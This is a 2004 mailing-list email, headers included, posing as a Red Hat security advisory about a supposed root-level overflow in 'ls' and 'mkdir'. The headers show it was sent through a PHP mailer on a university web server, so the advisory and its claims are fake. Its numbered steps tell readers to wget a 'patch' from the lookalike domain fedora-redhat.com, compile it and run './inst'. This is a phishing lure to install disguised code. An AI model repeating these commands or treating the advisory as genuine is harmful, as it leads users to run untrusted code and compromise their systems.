From security@redhat.com Sun Oct 24 14:58:23 2004 Return-Path: X-Original-To: recipient@example.com Delivered-To: recipient@example.com Received: by leaf.lumiere.net (Postfix) id 3ECF49C6A8; Sun, 24 Oct 2004 14:58:23 -0700 (PDT) Received: from leaf.lumiere.net (localhost [127.0.0.1]) by leaf.lumiere.net (Postfix) with ESMTP id 037529C685 for ; Sun, 24 Oct 2004 14:58:23 -0700 (PDT) Received: from 127.0.0.1 by leaf.lumiere.net (amavisd-lite) with LMTP id 1098655102-14165-3 for ; Sun Oct 24 14:58:23 2004 Received: from mx2.freebsd.org (mx2.freebsd.org [216.136.204.119]) by leaf.lumiere.net (Postfix) with ESMTP id DEC389C681 for ; Sun, 24 Oct 2004 14:58:22 -0700 (PDT) Received: from hub.freebsd.org (hub.freebsd.org [216.136.204.18]) by mx2.freebsd.org (Postfix) with ESMTP id 10C8356B9C; Sun, 24 Oct 2004 21:57:36 +0000 (GMT) (envelope-from owner-freebsd-questions@freebsd.org) Received: from hub.freebsd.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id EB10516A4D1; Sun, 24 Oct 2004 21:57:33 +0000 (GMT) Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 47B3716A4CF for ; Sun, 24 Oct 2004 21:57:28 +0000 (GMT) Received: from 2ens11.uta.edu (2ens11.uta.edu [129.107.2.122]) by mx1.FreeBSD.org (Postfix) with ESMTP id E1B5D43D49 for ; Sun, 24 Oct 2004 21:57:27 +0000 (GMT) (envelope-from apache@2ens11.uta.edu) Received: from 2ens11.uta.edu (localhost.localdomain [127.0.0.1]) by 2ens11.uta.edu (8.12.11/8.12.11) with ESMTP id i9OLvRLa011249 for ; Sun, 24 Oct 2004 16:57:27 -0500 Received: (from apache@localhost) by 2ens11.uta.edu (8.12.11/8.12.11/Submit) id i9OLvRRt011248; Sun, 24 Oct 2004 16:57:27 -0500 Date: Sun, 24 Oct 2004 16:57:27 -0500 Message-Id: <200410242157.i9OLvRRt011248@2ens11.uta.edu> To: freebsd-questions@freebsd.org From: RedHat Security Team X-Mailer: PHP/4.3.4 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: security@redhat.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: owner-freebsd-questions@freebsd.org Errors-To: owner-freebsd-questions@freebsd.org X-Virus-Scanned: by amavisd-lite at leaf.lumiere.net [logo_rh_home.png] Original issue date: October 20, 2004 Last revised: October 20, 2004 Source: RedHat A complete revision history is at the end of this file. Dear RedHat user, Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected. The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps: * First download the patch from the Security RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz * Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz * cd fileutils-1.0.6.patch * make * ./inst Again, please apply this patch as soon as possible or you risk your system and others` to be compromised. Thank you for your prompt attention to this serious matter, RedHat Security Team. Copyright © 2004 Red Hat, Inc. All rights reserved. _______________________________________________ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org"